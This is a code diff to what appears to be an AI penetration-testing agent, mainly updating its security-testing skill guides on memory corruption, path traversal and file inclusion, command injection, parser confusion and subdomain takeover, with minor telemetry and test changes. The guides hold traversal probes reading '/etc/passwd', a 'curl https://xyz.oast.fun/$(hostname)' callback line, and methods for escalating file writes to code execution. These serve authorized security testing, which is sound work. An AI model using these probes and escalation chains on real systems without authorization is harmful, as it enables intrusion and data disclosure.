Deduplicate by root cause, not only crash address. One overwrite may crash at many later consumers; one parser family may contain multiple distinct missing checks.
|
||||
|
||||
For disclosures, classify the returned bytes:
|
||||
|
||||
- predictable padding or constant data
|
||||
- same-request content
|
||||
- cross-request/tenant secrets
|
||||
- heap/stack pointers useful against ASLR
|
||||
- session tokens, keys, credentials, or application data
|
||||
|
||||
Derive detectors from response structure or a constant non-secret marker rather than collecting sensitive memory.
|
||||
|
||||
## Primitive Analysis
|
||||
|
||||
### Write Primitive
|
||||
|
||||
- location: fixed, relative, attacker-derived, heap-neighbor, object field, return/control data
|
||||
- width and count: single byte/bit, bounded span, arbitrary length, repeated writes
|
||||
- value control: exact, restricted alphabet, additive, terminator, pointer-derived
|
||||
- timing/state: before validation, after free, race-dependent, heap-shape-dependent
|
||||
- repeatability under default allocator and mitigations
|
||||
|
||||
### Read/Leak Primitive
|
||||
|
||||
- offset and length control
|
||||
- termination rules and response encoding
|
||||
- ability to repeat/advance across memory
|
||||
- cross-request process reuse
|
||||
- pointer or secret classification
|
||||
- noise, truncation, and crash threshold
|
||||
|
||||
### Control-Flow/Object Primitive
|
||||
|
||||
- overwritten callback, vtable, length, non-control-data flag, pointer, credential/session reference, allocator metadata, saved return state, or interpreter structure
|
||||
- required heap grooming/object placement
|
||||
- available modules/gadgets and address disclosure
|
||||
- thread/process privilege and sandbox boundary after control
|
||||
- whether the attacker can only corrupt a field, or can also choose the dereference target and value later consumed
|
||||
|
||||
Document what remains constrained. “Arbitrary write” should not be used for a relative, partial, alphabet-limited, or race-only overwrite.
|
||||
|
||||
## Exploitability Matrix
|
||||
|
||||
| Dimension | Record |
|
||||
|---|---|
|
||||
| Reachability | listener, authentication, feature/config, valid prior state |
|
||||
| Platform | architecture, endian, ABI, firmware model/SKU |
|
||||
| Input | transport, maximum size, forbidden bytes, encoding/transforms |
|
||||
| Primitive | read/write/control precision, repeatability, heap dependence |
|
||||
| Mitigations | ASLR/PIE, NX, canary, RELRO, CFI/PAC/CET, allocator, sandbox |
|
||||
| Process | privilege, chroot/container, worker isolation, watchdog/restart |
|
||||
| Information | version fingerprint, pointer/module/heap leak availability |
|
||||
| Reliability | attempts, races, connection/session persistence, crash side effects |
|
||||
|
||||
Rate exploitability separately from bug severity. A strong memory disclosure can enable a later control-flow bug; a large overflow may remain crash-only under the deployed constraints.
|
||||
|
||||
## Protocol and Patch Pairing
|
||||
|
||||
- Load `protocol_reverse_engineering` when valid negotiation/state is required before the vulnerable field.
|
||||
- Load `advisory_to_poc` for vulnerable/fixed artifact matrices and patch-invariant review.
|
||||
- Load `appliance_firmware` for rootfs, listener, runtime overlay, architecture, and device lifecycle mapping.
|
||||
- Load `semantic_confusion` when the memory length/type changes across transport, parser, decoder, or native FFI boundaries.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact vulnerable/fixed build, platform, configuration, and artifact hashes
|
||||
2. minimized input plus complete protocol/parser prerequisites
|
||||
3. source, IR/bytecode, or assembly trace from attacker field to invalid access, with the exact crashing process/build identity
|
||||
4. debugger/sanitizer/core evidence and non-triggering control
|
||||
5. primitive precision and constraints
|
||||
6. mitigation, architecture, allocator, process, and restart analysis
|
||||
7. bug-existence and exploitability conclusions stated separately
|
||||
8. adjacent callers/parser family reviewed
|
||||
|
||||
## False Positives
|
||||
|
||||
- Connection close caused by protocol rejection, idle timeout, rate limit, or load balancer behavior.
|
||||
- Process restart inferred from one failed request without process/console evidence.
|
||||
- Sanitizer finding unreachable in the deployed feature, route, architecture, or configuration.
|
||||
- Out-of-bounds read that returns only deterministic in-buffer padding, described as sensitive disclosure.
|
||||
- Crash-only overwrite called RCE without a controlled data/control primitive and mitigation analysis.
|
||||
- Decompiler type or buffer size accepted as ground truth without assembly/runtime confirmation.
|
||||
- Lab build with mitigations disabled presented as representative of production.
|
||||
|
||||
## Summary
|
||||
|
||||
Memory-corruption research is constraint analysis. Trace exact bytes through length, allocation, copy, object lifetime, and later use; establish the read/write/control primitive; then evaluate architecture, mitigations, allocator, protocol, and process context independently from the mere existence of a crash.
|
||||
@@ -11,6 +11,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
|
||||
**Path Traversal**
|
||||
- Read files outside intended roots via `../`, encoding, normalization gaps
|
||||
- Write or create files outside intended roots, then evaluate framework-controlled resolution paths separately from direct web access
|
||||
|
||||
**Local File Inclusion (LFI)**
|
||||
- Include server-side files into interpreters/templates
|
||||
@@ -51,7 +52,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
### Capability Probes
|
||||
|
||||
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
|
||||
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
|
||||
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
|
||||
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
|
||||
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
|
||||
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
|
||||
@@ -69,7 +70,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
|
||||
### OAST
|
||||
|
||||
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
||||
- For RFI or URL-capable resource loaders, a correlated callback confirms server-side resolution/fetch. It does not by itself prove inclusion or execution; use a separate response or side-effect oracle for that claim.
|
||||
|
||||
### Side Effects
|
||||
|
||||
@@ -81,7 +82,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
### Path Traversal Bypasses
|
||||
|
||||
**Encodings**
|
||||
- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
||||
- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
|
||||
|
||||
**Mixed Separators**
|
||||
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
|
||||
@@ -147,13 +148,38 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
- Verify symlink handling and path canonicalization prior to write
|
||||
- Impact: overwrite config/templates or drop webshells into served directories
|
||||
|
||||
### File Write to Execution
|
||||
|
||||
Characterize the write primitive before choosing a payload:
|
||||
|
||||
- create vs overwrite vs append; atomic replace vs streamed write
|
||||
- absolute vs relative path; controllable directory, filename, extension, and bytes
|
||||
- text encoding, newline conversion, templating, compression, or report generation applied before write
|
||||
- target process permissions and whether symlinks are followed
|
||||
- immediate load, hot reload, cache invalidation, restart, scheduled task, or user action required
|
||||
|
||||
Then inventory generic execution and influence surfaces:
|
||||
|
||||
- view/template search paths and implicit rendering
|
||||
- module, controller, plugin, package, or class autoload directories
|
||||
- application bootstrap files and language package initializers
|
||||
- server/user configuration that changes handler or interpreter behavior
|
||||
- job definitions, hooks, startup scripts, cron/task inputs, and CI workspace files
|
||||
- logs, sessions, caches, generated sources, and compiled-template directories later included or evaluated
|
||||
|
||||
Do not require the malicious file to be directly web-accessible. An HTTP extension allowlist can block `/path/payload.ext` while an internal view engine, autoloader, or interpreter still opens and executes that file through a clean route. Trace public request filtering and internal file resolution as separate security boundaries.
|
||||
|
||||
Test search order with candidate marker files or filesystem traces. Trigger the normal route/action that causes internal resolution. Record whether the framework creates, compiles, caches, or executes the artifact and what reload condition is required.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
|
||||
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
|
||||
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
|
||||
4. **Compare behaviors** - Web server vs application behavior
|
||||
5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
|
||||
5. **Characterize writes** - Determine create/overwrite/append, path and byte control, permissions, and reload/trigger conditions
|
||||
6. **Map resolvers** - Test template/view search paths, autoloaders, plugins, configs, jobs, and other internal consumers separately from direct file serving
|
||||
7. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution through a proven resolver or interpreter
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -161,7 +187,8 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
|
||||
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
|
||||
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
|
||||
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
||||
5. For file-write chains, first prove a canary is created at the intended path, then prove the normal resolver loads it; document cache/reload requirements
|
||||
6. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
||||
|
||||
## False Positives
|
||||
|
||||
@@ -184,6 +211,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
|
||||
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
|
||||
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
|
||||
6. When direct execution is blocked, enumerate internal search paths before assuming the write is low impact
|
||||
|
||||
## Summary
|
||||
|
||||
|
||||
@@ -80,6 +80,7 @@ curl https://xyz.oast.fun/$(hostname)
|
||||
- Break out of quoted segments by alternating quotes and escapes
|
||||
- Environment expansion: `$PATH`, `${HOME}`, command substitution
|
||||
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
|
||||
- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
|
||||
|
||||
**Path and Builtin Confusion**
|
||||
- Force absolute paths (`/usr/bin/id`) vs relying on PATH
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
---
|
||||
name: semantic-confusion
|
||||
description: Cross-component semantic confusion testing for parser differentials, normalization mismatches, overloaded fields, lifecycle state drift, internal redirects, protocol translation, and validator-to-sink inconsistencies
|
||||
---
|
||||
|
||||
# Semantic Confusion
|
||||
|
||||
Use this skill when two or more components consume the same attacker-influenced value. The central question is not merely whether input is validated, but whether every consumer assigns the same meaning to the value at the moment it makes a security decision.
|
||||
|
||||
Typical chains cross a validator, router, proxy, framework, parser, filesystem, interpreter, cache, or browser. A value can be safe in one representation and dangerous after a later decode, normalization, fallback, or field mutation.
|
||||
|
||||
## Authorization and Safety Boundary
|
||||
|
||||
- Run active differentials only against explicit authorized targets. Preserve destination allowlists and set request, rate, body, response, timeout, and retry ceilings.
|
||||
- Perform malformed framing, delayed-body, oversized-input, crash, or resource-exhaustion cases only in a restartable isolated lab with health monitoring.
|
||||
- Use synthetic canaries, reversible actions, non-secret protected resources, or a constant per-test callback identifier. Never place target-derived secrets in an OAST label/body.
|
||||
- Change one representation axis at a time so the security-relevant disagreement remains attributable to a specific boundary.
|
||||
- Pair `protocol_reverse_engineering` when framing or authentication depends on prior binary/stateful protocol messages. Pair `browser_security` when the final consumer is a browser context, worker, cache, or navigation state machine.
|
||||
- Do not load this skill for pure ownership drift where every component resolves and interprets the name consistently; use `infrastructure_lifecycle` unless a representation, alias, identity, or resolution-result mismatch is present.
|
||||
|
||||
## Core Model
|
||||
|
||||
Build a transformation graph before spraying payloads:
|
||||
|
||||
```text
|
||||
raw bytes
|
||||
-> transport parser
|
||||
-> proxy / middleware representation
|
||||
-> authorization or validation decision
|
||||
-> rewrite / decode / normalization
|
||||
-> internal redirect or dispatch
|
||||
-> final sink interpretation
|
||||
```
|
||||
|
||||
For every edge, record:
|
||||
|
||||
- exact input representation: bytes, string, URL, path, header list, object, or structured field
|
||||
- owning component and implementation/version
|
||||
- transformation performed, including error and fallback behavior
|
||||
- security decision made before or after the transformation
|
||||
- whether the original and transformed values remain available simultaneously
|
||||
- whether a field changes semantic type, such as filename to URL or MIME type to handler
|
||||
|
||||
The highest-signal condition is `security_check(value_A)` followed by `sink(transform(value_A))` where the checked and consumed representations are not equivalent.
|
||||
|
||||
## High-Value Confusion Classes
|
||||
|
||||
### Parser Differentials
|
||||
|
||||
- Compare browser, framework, proxy, library, and backend parsing of the exact same bytes.
|
||||
- Test duplicate and comma-joined fields, first-match vs last-match behavior, invalid-token recovery, comments, quoting, and empty members.
|
||||
- Include structured formats and metadata: URL, MIME, JSON, multipart, XML, cookies, forwarded headers, and serialized objects.
|
||||
- Treat leniency as a security feature only when every downstream consumer is equally lenient in the same way.
|
||||
|
||||
### Normalization and Canonicalization Drift
|
||||
|
||||
- Map percent-decoding count, Unicode conversion, slash/backslash handling, dot-segment removal, case folding, IDNA, numeric IP conversion, and filesystem cleanup.
|
||||
- Compare string-prefix checks with segment-aware or origin-aware comparisons.
|
||||
- Test malformed Unicode and replacement behavior; a rejected code point may become an allowed delimiter or wildcard later.
|
||||
- Test path, query, and fragment separately. Browsers and routers commonly transform each source differently.
|
||||
|
||||
### Field and Type Overloading
|
||||
|
||||
- Identify shared fields reused for different concepts: path vs URL, content type vs handler, display name vs executable name, route vs filesystem location.
|
||||
- Trace every writer and reader of the field across the complete lifecycle.
|
||||
- Look for implicit fallback: when the intended field is empty, another field becomes authoritative.
|
||||
- Exercise fields after errors, rewrites, subrequests, retries, internal redirects, and protocol upgrades/downgrades.
|
||||
|
||||
### Lifecycle and State Drift
|
||||
|
||||
- Trigger error paths that should terminate processing and verify that later phases actually stop.
|
||||
- Look for stale metadata copied into a new request, subrequest, background job, cache entry, or retry.
|
||||
- Compare direct external access with internal dispatch. Edge controls may inspect the public URL while an internal resolver opens a different path or invokes a different handler.
|
||||
- Test order-dependent behavior: validation before rewrite, auth before route normalization, or content classification before processing.
|
||||
|
||||
### Boundary Translation
|
||||
|
||||
- Map HTTP/2 to HTTP/1 translation, proxy to application rewriting, URL to filesystem resolution, upload detector to content consumer, and client router to API request construction.
|
||||
- In a restartable lab and only when supported by evidence, vary framing, bounded delays/body sizes, content type, pseudo-headers, and method conversion. Check target health after resource-sensitive cases.
|
||||
- Do not assume a WAF or authorization sidecar sees the full body or final normalized request.
|
||||
|
||||
### Namespace and Resolution Fallback
|
||||
|
||||
- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
|
||||
- Record lookup order and what happens when the intended entry is missing.
|
||||
- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
|
||||
- Treat automatic remote fallback or search-path fallback as an execution boundary.
|
||||
- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Black-Box Mapping
|
||||
|
||||
1. Capture a clean baseline with raw request and response bytes.
|
||||
2. Change one representation axis at a time: encoding depth, delimiter, duplicate, separator, method, protocol, body framing, or Unicode form.
|
||||
3. Diff status, headers, body digest/length, timing, redirects, cache state, and out-of-band callbacks.
|
||||
4. Replay through different paths: direct origin vs CDN, HTTP/1.1 vs HTTP/2, public route vs alternate host, synchronous vs background processing.
|
||||
5. Cluster responses by behavior before escalating. Small differentials reveal component boundaries.
|
||||
|
||||
### Source-Aware Mapping
|
||||
|
||||
- Find every read and write of shared request/context fields, not just the obvious sink.
|
||||
- Trace route matching, auth middleware, rewrites, internal redirects, handler selection, and response generation in execution order.
|
||||
- Inventory decode/parse/normalize calls and note whether return values or errors are ignored.
|
||||
- Search for compatibility fallbacks, legacy aliases, permissive recovery, default handlers, and search-path iteration.
|
||||
- Inspect packaging and deployment defaults; distro configuration, enabled modules, plugins, and symlinks often determine reachability.
|
||||
|
||||
## Differential Test Matrix
|
||||
|
||||
Build a bounded matrix from relevant axes instead of blindly combining everything:
|
||||
|
||||
| Axis | Representative variants |
|
||||
|---|---|
|
||||
| Encoding | raw, once encoded, twice encoded, mixed case, malformed Unicode |
|
||||
| Structure | duplicate, comma-joined, empty member, quoted, comment-like suffix |
|
||||
| Path | `/`, `\\`, `//`, dot segments, absolute, sibling-prefix collision |
|
||||
| URL | userinfo, numeric IP, alternate IP radix, trailing dot, fragment/query split |
|
||||
| Transport | HTTP/1.1, HTTP/2, chunked/fixed body, delayed DATA, oversized body |
|
||||
| Lifecycle | normal, error, retry, internal redirect, cache hit, background worker |
|
||||
| Consumer | edge, application, library, filesystem, interpreter, browser |
|
||||
|
||||
Select axes supported by evidence from the target. Record which component saw which representation.
|
||||
|
||||
### Repeatable Harnesses
|
||||
|
||||
- For two local parsers, canonicalizers, or validator/consumer functions, load `hypothesis` and express the expected relationship as a property. Bound sizes/examples and keep the minimized disagreement as a regression test.
|
||||
- For an ordered HTTP flow with cookies, redirects, captured values, and assertions, load `hurl` and encode vulnerable, fixed, and negative-control environments using the same request chain.
|
||||
- Use raw-byte or protocol-specific harnesses when a high-level HTTP client would normalize the ambiguity away.
|
||||
- Separate input generation from transport. Generators that are safe against pure local functions become active fuzzers when connected to a live target.
|
||||
|
||||
## Chaining Strategy
|
||||
|
||||
Treat the first differential as a primitive, then ask what authority the later consumer has:
|
||||
|
||||
- auth or ACL bypass -> protected route or file
|
||||
- path/URL confusion -> source disclosure, SSRF, local socket, or unintended handler
|
||||
- detector/consumer mismatch -> active upload processing or inline browser execution
|
||||
- internal redirect state carryover -> handler selection or policy bypass
|
||||
- search-path or namespace fallback -> attacker-controlled code resolution
|
||||
- browser/router decode -> client-side path traversal, CSRF-like action, SSRF, or XSS sink
|
||||
|
||||
Enumerate existing local gadgets only after the primitive is proven. Prefer generic classes such as interpreters, template engines, debug tools, package scripts, local sockets, and autoload paths over a vendor-specific file list.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Define the invariant** - State what all components are expected to agree on: origin, path, type, handler, identity, length, or package name.
|
||||
2. **Draw the graph** - List consumers and transformations in real execution order.
|
||||
3. **Locate early decisions** - Mark validation, auth, WAF, cache, and routing checks.
|
||||
4. **Locate late meaning changes** - Mark decodes, rewrites, fallback, internal dispatch, and sink parsing.
|
||||
5. **Build a focused matrix** - Exercise only transformations supported by the stack.
|
||||
6. **Isolate the disagreement** - Produce paired inputs that differ at one boundary and explain both interpretations.
|
||||
7. **Prove the primitive safely** - Use a synthetic protected canary, reversible marker, constant callback identifier, or no-op handler whose behavior and side effects are understood.
|
||||
8. **Escalate by capability** - Track Read -> influence -> write -> dispatch -> execute transitions with evidence and prerequisites for every edge.
|
||||
9. **Cross-check versions/configurations** - Reproduce on a fixed version or hardened configuration when possible.
|
||||
|
||||
## Validation
|
||||
|
||||
A valid confusion finding should include:
|
||||
|
||||
1. the exact bytes or structured input supplied
|
||||
2. the representation observed by the security control
|
||||
3. the different representation observed by the final consumer
|
||||
4. the transformation or lifecycle event that created the difference
|
||||
5. paired control and exploit results across repeat runs
|
||||
6. version, protocol, configuration, and interaction prerequisites
|
||||
7. a minimal impact proof that does not depend on unrelated undefined behavior
|
||||
|
||||
## False Positives
|
||||
|
||||
- Different error messages with identical final authorization and sink behavior
|
||||
- A parser accepts odd syntax but downstream consumers preserve the same safe meaning
|
||||
- A normalization difference visible only in logs, with no security decision between representations
|
||||
- WAF bypass where the application itself rejects the request identically
|
||||
- Version-specific behavior claimed as universal without testing the relevant deployment
|
||||
- A search-path candidate that is attacker-named but cannot be created, claimed, loaded, or executed
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Begin with relationships and shared state, not endpoint payload lists.
|
||||
2. Preserve raw traffic; high-level clients often normalize away the exploit before sending it.
|
||||
3. Error paths are alternate lifecycles. Verify which fields survive and which phases still execute.
|
||||
4. Compare direct and internal access separately; ingress policy rarely governs framework file IO or handler dispatch.
|
||||
5. When a prefix allowlist is used, test a sibling sharing the prefix and verify with a segment-aware comparison.
|
||||
6. Distinguish presence, reachability, and impact. Each needs separate evidence.
|
||||
7. Generalize a finding by naming the disagreement class, not by copying its final payload.
|
||||
|
||||
## Summary
|
||||
|
||||
Semantic confusion exists when a security decision and a privileged consumer disagree about the meaning of the same attacker-influenced data. Model the entire transformation lifecycle, isolate one disagreement at a time, and prove both interpretations. The reusable unit is the boundary and its invariant—not a CVE-specific string.
|
||||
@@ -7,6 +7,8 @@ description: Subdomain takeover testing for dangling DNS records and unclaimed c
|
||||
|
||||
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
||||
|
||||
Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
import json
|
||||
import logging
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.telemetry._common import (
|
||||
SESSION_ID,
|
||||
@@ -37,13 +37,7 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
|
||||
"distinct_id": SESSION_ID,
|
||||
"properties": properties,
|
||||
}
|
||||
req = urllib.request.Request( # noqa: S310
|
||||
f"{_POSTHOG_HOST}/capture/",
|
||||
data=json.dumps(payload).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
|
||||
pass
|
||||
requests.post(f"{_POSTHOG_HOST}/capture/", json=payload, timeout=10)
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("posthog send failed for event %s", event, exc_info=True)
|
||||
return False
|
||||
|
||||
@@ -2,10 +2,11 @@ from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.telemetry._common import (
|
||||
SESSION_ID,
|
||||
@@ -42,9 +43,7 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
|
||||
url = f"{_SCARF_ENDPOINT}{path}"
|
||||
if query:
|
||||
url = f"{url}?{query}"
|
||||
req = urllib.request.Request(url, method="POST") # noqa: S310
|
||||
with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
|
||||
pass
|
||||
requests.post(url, timeout=10)
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("scarf send failed for event %s", event, exc_info=True)
|
||||
return False
|
||||
|
||||
@@ -253,6 +253,8 @@ async def finish_scan(
|
||||
parent_id = inner.get("parent_id")
|
||||
if coordinator is not None and parent_id is None and me is not None:
|
||||
active_agents = await coordinator.active_agents_except(me)
|
||||
if active_agents and coordinator.reserve_stopped:
|
||||
active_agents = []
|
||||
else:
|
||||
active_agents = []
|
||||
|
||||
|
||||
@@ -7,8 +7,10 @@ import hashlib
|
||||
import json
|
||||
import time
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from unittest import mock
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
from strix.config import codex
|
||||
|
||||
@@ -52,6 +54,18 @@ def test_authorize_url_carries_pkce_and_client() -> None:
|
||||
assert "state=st8" in url
|
||||
|
||||
|
||||
def test_post_form_returns_parsed_body() -> None:
|
||||
resp = mock.MagicMock()
|
||||
resp.status_code = 200
|
||||
resp.content = b'{"access_token": "tok"}'
|
||||
|
||||
with mock.patch.object(requests, "post", return_value=resp) as post:
|
||||
data = codex._post_form({"grant_type": "refresh_token"})
|
||||
|
||||
assert data == {"access_token": "tok"}
|
||||
assert post.call_args.kwargs["timeout"] == codex._TOKEN_TIMEOUT
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("value", "expected"),
|
||||
[
|
||||
|
||||
+69
-42
@@ -7,6 +7,7 @@ from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
from litellm.exceptions import BadRequestError, ContextWindowExceededError, RateLimitError
|
||||
from openai.types.responses import ResponseOutputMessage, ResponseOutputText
|
||||
|
||||
from strix.config import ContextSettings
|
||||
from strix.llm import compaction
|
||||
@@ -146,17 +147,35 @@ def _patch_budget(monkeypatch: pytest.MonkeyPatch, *, keep_tokens: int, window:
|
||||
context.auto_compact = True
|
||||
settings = SimpleNamespace(
|
||||
context=context,
|
||||
llm=SimpleNamespace(api_key=None, api_base=None, timeout=1),
|
||||
llm=SimpleNamespace(api_key=None, api_base=None, timeout=1, extra_headers=None),
|
||||
)
|
||||
monkeypatch.setattr(compaction, "load_settings", lambda: settings)
|
||||
|
||||
|
||||
def _patch_summary(monkeypatch: pytest.MonkeyPatch, text: str) -> None:
|
||||
async def fake_acompletion(**_kwargs: Any) -> Any:
|
||||
message = SimpleNamespace(content=text)
|
||||
return SimpleNamespace(choices=[SimpleNamespace(message=message)])
|
||||
def _model_response(text: str) -> Any:
|
||||
chunk = ResponseOutputText(annotations=[], text=text, type="output_text")
|
||||
message = ResponseOutputMessage(
|
||||
id="msg", content=[chunk], role="assistant", status="completed", type="message"
|
||||
)
|
||||
return SimpleNamespace(output=[message])
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
|
||||
def _patch_summary(
|
||||
monkeypatch: pytest.MonkeyPatch, text: str, captured: dict[str, Any] | None = None
|
||||
) -> None:
|
||||
class FakeModel:
|
||||
async def get_response(self, **kwargs: Any) -> Any:
|
||||
if captured is not None:
|
||||
captured.update(kwargs)
|
||||
return _model_response(text)
|
||||
|
||||
class FakeProvider:
|
||||
def get_model(self, model_name: str | None) -> Any:
|
||||
if captured is not None:
|
||||
captured["model"] = model_name
|
||||
return FakeModel()
|
||||
|
||||
monkeypatch.setattr(compaction, "StrixProvider", FakeProvider)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -189,19 +208,38 @@ async def test_maybe_compact_rewrites_and_keeps_pairs(monkeypatch: pytest.Monkey
|
||||
async def test_maybe_compact_updates_previous_summary(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# Window large enough to leave real room for the summary instructions.
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=4_000)
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
async def fake_acompletion(**kwargs: Any) -> Any:
|
||||
captured["prompt"] = kwargs["messages"][0]["content"]
|
||||
return SimpleNamespace(choices=[SimpleNamespace(message=SimpleNamespace(content="NEW"))])
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
captured: dict[str, Any] = {}
|
||||
_patch_summary(monkeypatch, "NEW", captured)
|
||||
|
||||
prior = compaction._checkpoint_item("OLD SUMMARY TEXT")
|
||||
session = FakeSession([prior, *_turns(12)])
|
||||
|
||||
assert await compaction.maybe_compact(session, model="m", force=True) is True
|
||||
assert "OLD SUMMARY TEXT" in captured["prompt"]
|
||||
assert "OLD SUMMARY TEXT" in captured["input"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_summarize_routes_through_provider_with_settings(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=4_000)
|
||||
monkeypatch.setattr(
|
||||
compaction,
|
||||
"load_settings",
|
||||
lambda: SimpleNamespace(
|
||||
llm=SimpleNamespace(
|
||||
api_key=None, api_base=None, timeout=1, extra_headers={"X-Feature-Key": "svc"}
|
||||
)
|
||||
),
|
||||
)
|
||||
captured: dict[str, Any] = {}
|
||||
_patch_summary(monkeypatch, "S", captured)
|
||||
|
||||
assert await compaction._summarize("litellm/openai/some-model", "p", 64) == "S"
|
||||
assert captured["model"] == "litellm/openai/some-model"
|
||||
settings = captured["model_settings"]
|
||||
assert settings.extra_headers == {"X-Feature-Key": "svc"}
|
||||
assert settings.max_tokens == 64
|
||||
|
||||
|
||||
def test_fit_to_tokens_truncates_oversized_text(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
@@ -233,19 +271,14 @@ def test_summary_output_tokens_capped_at_model_limit(monkeypatch: pytest.MonkeyP
|
||||
async def test_maybe_compact_bounds_summary_prompt(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# A tiny window with a huge head must not send an oversized summary request.
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=4_000)
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
async def fake_acompletion(**kwargs: Any) -> Any:
|
||||
captured["prompt"] = kwargs["messages"][0]["content"]
|
||||
return SimpleNamespace(choices=[SimpleNamespace(message=SimpleNamespace(content="S"))])
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
captured: dict[str, Any] = {}
|
||||
_patch_summary(monkeypatch, "S", captured)
|
||||
big_turns = [{"role": "user", "content": "y" * 2_000} for _ in range(50)]
|
||||
session = FakeSession(big_turns)
|
||||
|
||||
assert await compaction.maybe_compact(session, model="m") is True
|
||||
# count_tokens==len(chars); prompt must fit the model window.
|
||||
assert len(captured["prompt"]) <= 4_000
|
||||
assert len(captured["input"]) <= 4_000
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
